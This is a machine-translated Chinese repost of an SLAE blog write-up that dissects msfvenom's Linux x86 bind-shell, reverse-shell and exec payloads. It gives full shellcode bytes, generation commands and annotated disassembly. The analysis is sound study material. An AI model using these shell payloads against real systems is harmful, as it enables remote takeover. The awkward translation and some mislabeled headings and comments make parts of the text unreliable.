安全工具

分析msfvenom生成的shellcode

                             网络安全即是国家安全,积极响应国家号召,参与净网行动

摘选自

https://h0mbre.github.io/SLAE_MSF_Analysis/#

我这是翻译过来给搭建看的

下面是原文

介绍

 

SLAE的第5项任务是分析3 msfvenom有效载荷。对于这个练习,我想我会重新审视一些半熟悉的代码:

linux/x86/shell_bind_tcp,
linux/x86/shell_reverse_tcp,和
linux/x86/exec 有效载荷。

我这样做的主要原因是因为我们已经编写了类似的代码,我想看看专业人士在为Metasploit做贡献时如何做,并看看我们是否可以获得一些新的技巧/效率。

分析Shellcode#1(linux/x86/shell_bind_tcp

我们需要做的第一件事是生成与此MSF有效负载对应的shellcode。我们还需要添加参数,例如指定一个监听端口。我们可以使用以下命令执行此操作:

msfvenom -p linux/x86/shell_bind_tcp lport=5555 -f c
root@kali:~# msfvenom -p linux/x86/shell_bind_tcp lport=5555 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 78 bytes
Final size of c file: 354 bytes
unsigned char buf[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x15\xb3\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";

现在我们已经拥有了我们的shellcode,我们可以ndisasm使用以下命令将其提供给Kali Linux上的库存,并从中获取一些程序集!

root@kali:~# echo -ne "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x15\xb3\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" | ndisasm -u -

运行此命令后,我们得到以下输出:

00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80
0000000F  5B                pop ebx
00000010  5E                pop esi
00000011  52                push edx
00000012  68020015B3        push dword 0xb3150002
00000017  6A10              push byte +0x10
00000019  51                push ecx
0000001A  50                push eax
0000001B  89E1              mov ecx,esp
0000001D  6A66              push byte +0x66
0000001F  58                pop eax
00000020  CD80              int 0x80
00000022  894104            mov [ecx+0x4],eax
00000025  B304              mov bl,0x4
00000027  B066              mov al,0x66
00000029  CD80              int 0x80
0000002B  43                inc ebx
0000002C  B066              mov al,0x66
0000002E  CD80              int 0x80
00000030  93                xchg eax,ebx
00000031  59                pop ecx
00000032  6A3F              push byte +0x3f
00000034  58                pop eax
00000035  CD80              int 0x80
00000037  49                dec ecx
00000038  79F8              jns 0x32
0000003A  682F2F7368        push dword 0x68732f2f
0000003F  682F62696E        push dword 0x6e69622f
00000044  89E3              mov ebx,esp
00000046  50                push eax
00000047  53                push ebx
00000048  89E1              mov ecx,esp
0000004A  B00B              mov al,0xb
0000004C  CD80              int 0x80

这个输出非常好,但它不是我们习以为常的。让我们awk用来获得装配说明。

echo -ne "<SHELLCODE>" | ndisasm -u - | awk '{ print $3,$4,$5 }'

现在我们只得到要打印到终端的组件,我们可以把它扔进NASM sytnax荧光笔。

xor ebx,ebx 
mul ebx 
push ebx 
inc ebx 
push ebx 
push byte +0x2
mov ecx,esp 
mov al,0x66 
int 0x80 
pop ebx 
pop esi 
push edx 
push dword 0xb3150002
push byte +0x10
push ecx 
push eax 
mov ecx,esp 
push byte +0x66
pop eax 
int 0x80 
mov [ecx+0x4],eax 
mov bl,0x4 
mov al,0x66 
int 0x80 
inc ebx 
mov al,0x66 
int 0x80 
xchg eax,ebx 
pop ecx 
push byte +0x3f
pop eax 
int 0x80 
dec ecx 
jns 0x32 
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx,esp 
push eax 
push ebx 
mov ecx,esp 
mov al,0xb 
int 0x80

让我们分解它,看看它与我们编写的绑定shell有何不同。

我们要注意的第一件事是重复使用相同的系统调用,socketcall()而不是像我们一样使用4个独立的系统调用。sockecall()通过存储一个SYS_CALL值来工作ebx,在下层系统调用的堆栈上创建参数(比如bind或listen),然后ecx指向esp参数开头所在的位置。这是一个更加统一的,在我看来是执行shellcode的干净方式。

Syscall 1 socketcall()SYS_SOCKET

首先,让我们看看的论证结构socketcall()。该手册页给出的说法结构int socketcall(int call, unsigned long *args);call可以满足于你想要使用什么套接字函数的引用,在这种情况下我们将要使用SYS_SOCKET具有值的函数1,然后我们将输入参数来满足SYS_SOCKET调用,因为我们从代码中熟悉。

让我们来看看它在装配中是如何发挥作用的。

xor ebx,ebx 
mul ebx 
push ebx 
inc ebx 
push ebx 
push byte +0x2
mov ecx,esp 
mov al,0x66 
int 0x80

有一点不同的是他们清理寄存器的方式。通过使用mul其具有的存储目的地eaxedx,他们能够通过不指定保存一行代码xor register, register的两倍。

接下来,它们会增加ebx,以使它等于0x1并满足SYS_SOCKET参数。它在被递增之前被推入堆栈以满足所需的协议值,SYS_SOCKET该值必须0与我们的绑定shell中的协议值一样。ebx然后被推入堆栈以满足SOCK_STREAM我们所做的论点。然后0x2PF_INET就像我们一样,将表示值的值推入堆栈。

最后,ecx给出了地址,esp以便它引用我们刚刚在堆栈上创建的参数,然后调用中断。另外,我们不要忘记sockfd稍后会需要它eax,默认情况下会存储它。

Syscall 2 socketcall()SYS_BIND

这是手册页上的结构bind()int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);正如我们所知,在堆栈上以相反的顺序构建此结构是整个shellcode中最困难的部分。

  • int sockfd照顾,存储在eax
  • 结构将由0(0.0.0.0监听地址),0xb315(端口5555)和AF_INET(2)组成。
  • socklen_t addrlen 将是16岁

让我们看看他们是如何在集会中解决这个问题的。

pop ebx                   ; I like this, this pops 0x2 into $ebx and satisfies our SYS_BIND requirement
pop esi                   ; not sure what this is doing yet
push edx                  ; $edx is still zeroed out so this will be the beginning of our struct (0.0.0.0)
push dword 0xb3150002     ; putting our listening port (5555) onto the stack and our AF_INET value (2)
push byte +0x10           ; finishing up with pushing 16 length onto the stack
push ecx                  ; pushing a pointer to our sockaddr
push eax                  ; this is our sockfd, or did you forget?!
mov ecx,esp               ; ecx has to point to the location of all these args we've created
push byte +0x66           
pop eax                   ; calling socketcall()
int 0x80

真棒,没有太多独特的东西,虽然我会说大部分他们更多地使用将值推到堆栈上,然后将它们弹出到寄存器中。

Syscall 3 socketcall()SYS_LISTEN

如果你不记得,参数结构listen()listen(sockfd, queueLimit)。这部分代码非常明显。ecx默认情况下会指向args,因为它没有触及此代码段,并且仍然是esp从以前的代码段引用的。

mov [ecx+0x4],eax ; [ecx+0x4] is going to reference a location on the stack so we're placing our sockfd onto the stack
mov bl,0x4        ; for SYS_LISTEN which has a value of 4
mov al,0x66       ; calling socketcall()     
int 0x80

Syscall 4 socketcall()SYS_ACCEPT

唯一的事情accept()是它会sockfd为我们生成一个新的,而不是我们一直在使用的那个我们需要存储和引用的新的。

inc ebx         ; ebx now becomes 5 for SYS_ACCEPT
mov al,0x66     
int 0x80

再次,ecx已经指出了论点的开头,所以我们很高兴。

Syscall 5 dup2()

dup2()sockfd将从我们的accept()调用中创建一个创建,然后分别复制ecx寄存器中的0,1和2文件描述符,这些描述符分别对应于stdin,stdout,stderr,以使shell具有交互性。让我们看看他们是如何实现这一点的。

xchg eax,ebx        ; $ebx now has our new sockfd
pop ecx             ; this is going to be our counter register
push byte +0x3f     ; pushing the syscall value for dup2()
pop eax         
int 0x80            ; done calling dup2()
dec ecx             ; decrement our counter
jns 0x32            ; jump near if not sign, a.k.a. SF=0

在这里学到的经验教训,原始的ndisasm输出告诉我们这0x32是一个参考:

00000032 6A3F push byte +0x3f

所以现在我们知道如果不是这个条件,这就是我们回到的地方。非常酷的构造循环的方式。

Syscall 6 execve()

这个系统调用是你可以在汇编中进行的最标准化的系统调用之一,所以我怀疑这里会有很多变化。

push dword 0x68732f2f       ; pushing 'hs//' onto the stack
push dword 0x6e69622f       ; pushing 'nib/' onto the stack, now we have /bin//sh on the stack!
mov ebx,esp                 ; $ebx now points to the string we want to execute
push eax                    ; terminator
push ebx                    ; push the value of the previous stack pointer onto the stack
mov ecx,esp                 ; save new stack pointer
mov al,0xb 
int 0x80

 

我们为未来的代码编写提取的一些内容:

  • mul寄存器清晰保存字节
  • 创造性地利用堆栈来避免mov操作
  • 利用socketcall()而不是单独的系统调用
  • 利用xchg操作码

分析Shellcode#1(linux/x86/reverse_bind_tcp

我们需要做的第一件事是生成与此MSF有效负载对应的shellcode。我们还需要添加参数,例如指定一个监听端口。我们可以使用以下命令执行此操作:

msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=5555 -f c
root@kali:~# msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=5555 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of c file: 311 bytes
unsigned char buf[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68"
"\x02\x00\x15\xb3\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
"\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

运行我们的ndisasm命令:

root@kali:~# echo -ne "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00\x01\x68\x02\x00\x15\xb3\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" |ndisasm -u -

输出:

00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80
0000000F  93                xchg eax,ebx
00000010  59                pop ecx
00000011  B03F              mov al,0x3f
00000013  CD80              int 0x80
00000015  49                dec ecx
00000016  79F9              jns 0x11
00000018  687F000001        push dword 0x100007f
0000001D  68020015B3        push dword 0xb3150002
00000022  89E1              mov ecx,esp
00000024  B066              mov al,0x66
00000026  50                push eax
00000027  51                push ecx
00000028  53                push ebx
00000029  B303              mov bl,0x3
0000002B  89E1              mov ecx,esp
0000002D  CD80              int 0x80
0000002F  52                push edx
00000030  686E2F7368        push dword 0x68732f6e
00000035  682F2F6269        push dword 0x69622f2f
0000003A  89E3              mov ebx,esp
0000003C  52                push edx
0000003D  53                push ebx
0000003E  89E1              mov ecx,esp
00000040  B00B              mov al,0xb
00000042  CD80              int 0x80

让我们使用通过管道输出来切割组件awkecho -ne "<SHELLCODE>" | ndisasm -u -| awk '{print $3,$4,$5,$6}'并将其粘贴到nasm语法高亮显示器中。

xor ebx,ebx  
mul ebx  
push ebx  
inc ebx  
push ebx  
push byte +0x2 
mov ecx,esp  
mov al,0x66  
int 0x80  
xchg eax,ebx  
pop ecx  
mov al,0x3f  
int 0x80  
dec ecx  
jns 0x11  
push dword 0x100007f 
push dword 0xb3150002 
mov ecx,esp  
mov al,0x66  
push eax  
push ecx  
push ebx  
mov bl,0x3  
mov ecx,esp  
int 0x80  
push edx  
push dword 0x68732f6e 
push dword 0x69622f2f 
mov ebx,esp  
push edx  
push ebx  
mov ecx,esp  
mov al,0xb  
int 0x80

好吧,让我们分析一下这段代码。你可能已经想到了,他们又在使用socketcall()了。在这一点上,这对我们来说应该是熟悉的领域。

Syscall 1 socketcall()SYS_SOCKET

让我们记住以下的参数结构SYS_SOCKETsocket(PF_INET (2), SOCK_STREAM (1), IPPROTO_IP (0))

xor ebx,ebx         ; clear out ebx
mul ebx             ; clear out eax and edx
push ebx            ; pushing 0 onto stack for the IPPROTO_IP
inc ebx             ; pushing 1 onto the stack for SOCK_STREAM
push ebx  
push byte +0x2      ; pushing 2 onto the stack for PF_INET
mov ecx,esp         ; $ecx has to point at our args location
mov al,0x66  
int 0x80
xchg eax,ebx        ; storing the sockfd in ebx

我们擅长这个!这一点对我们来说大部分都是有意义的,并且与我们的绑定shell分析很好地匹配。

Syscall 2 dup2()

这很有趣,看起来这个代码调用dup2()之前connect()与我们的代码不同。

mov al,0x3f   ; 0x3f is the value for dup2
int 0x80      ; call dup2
dec ecx       ; decrese counter register
jns 0x11      ; jump near if not sign
00000011  B03F              mov al,0x3f

Syscall 3 socketcall()SYS_CONNECT

connect()行为非常相似,bind()所以请记住两者的参数结构,特别是结构部分:int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)

push dword 0x100007f      ; pushing 127.0.0.1 remote IP 
push dword 0xb3150002     ; pushing port 5555 and AF_INET 
mov ecx,esp               ; pointing $ecx to the struct's location on the stack
mov al,0x66               ; socketcall()
push eax                  
push ecx                  ; sockaddr_in* addr 
push ebx                  ; pushing the sockfd
mov bl,0x3                ; SYS_CONNECT
mov ecx,esp  
int 0x80  

这对我们为MSF绑定有效负载分析的代码非常熟悉。

Syscall 4 execve()

这类似于我们分析的MSF绑定有效负载,但不完全相同。

push edx                  ; pushing a null terminator onto the stack
push dword 0x68732f6e     ; pushing 'hs//' onto the stack
push dword 0x6e69622f     ; pushing 'nib/' onto the stack, now we have /bin//sh on the stack!
mov ebx,esp               ; preserving this stack pointer in $ebx
push edx                  ; another null terminator
push ebx                  ; the stack pointer address we had stored in $ebx
mov ecx,esp               ; $ecx has to have the address of the stack pointer for our completed args
mov al,0xb                ; execve()
int 0x80

总而言之,有相同的经验教训。它强调更加精简的装配。为什么在2中可以实现相同的目标时使用3行代码?肯定有一些方面我们可以改进我们的代码。

分析Shellcode#3(linux/x86/exec

对于此有效负载,您已指定一个CMD参数,该参数将表示您要在受害主机上运行的任意命令。让我们选择ls作为我们的命令,看看为Metasploit做出贡献的人们如何用他们的shellcode来解决这个问题。

root@kali:~# msfvenom -p linux/x86/exec CMD=ls -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Final size of c file: 185 bytes
unsigned char buf[] = 
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c"
"\x73\x00\x57\x53\x89\xe1\xcd\x80";

让我们将shellcode插入ndisasm并使用以下命令转储汇编代码:

root@kali:~# echo -ne "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x6c\x73\x00\x57\x53\x89\xe1\xcd\x80" | ndisasm -u -

输出:

00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E803000000        call 0x20
0000001D  6C                insb
0000001E  7300              jnc 0x20
00000020  57                push edi
00000021  53                push ebx
00000022  89E1              mov ecx,esp
00000024  CD80              int 0x80

使用我们前面提到的awk命令来检索用于语法突出显示的程序集。

push byte +0xb
pop eax 
cdq  
push edx 
push word 0x632d
mov edi,esp 
push dword 0x68732f
push dword 0x6e69622f
mov ebx,esp 
push edx 
call 0x20 
insb  
jnc 0x20 
push edi 
push ebx 
mov ecx,esp 
int 0x80 

好吧,让我们进入一些分析。马上蝙蝠,我们看到他们使用的是execve通过放置0xbeax。我们来看下一段代码。

cdq                       ; this will clear $edx to zero, a clever new trick for us
push edx                  ; push a null onto the stack
push word 0x632d          ; pushing the string for '-c' onto the stack which will be used along with '/bin/sh' to specify our 'ls' cmd
mov edi,esp               ; store a stack pointer to our arg structure into $edi
push dword 0x68732f        
push dword 0x6e69622f     ; pushing '/bin/sh' onto the stack
mov ebx,esp               ; storing this stack pointer to this arg structure in ebx
push edx                  ; push null onto stack

到目前为止,这对我们来说比较熟悉。让我们走得更远。

call 0x20         ; call here to the instruction at 0x20 which is 'push edi' which we stored our stack pointer in
insb              
jnc 0x20

insb并且jnc 0x20非常有趣。让我们从我们的ndisasm输出中检查存储在那里的值:

  • 0000001D 6C insb
  • 0000001E 7300 jnc 0x20

十六进制转换器会告诉我们,6Cl同时73进行s。所以这就是程序如何ls进入堆栈,然后是00终结器。一个call操作码将下一个命令的地址保存到堆栈,所以我们已经成功地将我们的命令的地址压入堆栈。这是一个非常酷的技巧,我们可以开始融入我们的shellcode。

让我们完成。

push edi        ; pushes $edi onto the stack which stores the address of '-c' remember
push ebx        ; pushes address of '/bin/sh' onto stack
mov ecx,esp     ; finally, this will move into $ecx the stack pointer which will complete the entire command '/bin/sh -c ls'
int 0x80 

得到教训

使用调用在堆栈上存储指令地址是我们从编写JMP CALL POPshellcode时熟悉的一个非常酷的技巧,但我需要提醒它在解码器存根构造之外是有价值的!

另一件事是,linux/x86/shell_reverse_tcplinux/x86/exec的shellcode有几个空字节。这是一个很好的提示,用于在生成有效负载时指定错误字符msfvenom

这是一个很棒的练习,看看我们每天使用的shellcode是如何从msfvenom实际工作中生成的,这非常有趣。

Github上

此博客文章是为完成SecurityTube Linux Assembly Expert认证的要求而创建的:http: //securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

学号:SLAE-1458

您可以在此处找到此博客文章中使用的所有代码

(0)

本文由 SAFEING 信息安全博客 作者:root 发表,转载请注明来源!

关键词:, , ,
                             网络安全即是国家安全,积极响应国家号召,参与净网行动

热评文章

发表评论

电子邮件地址不会被公开。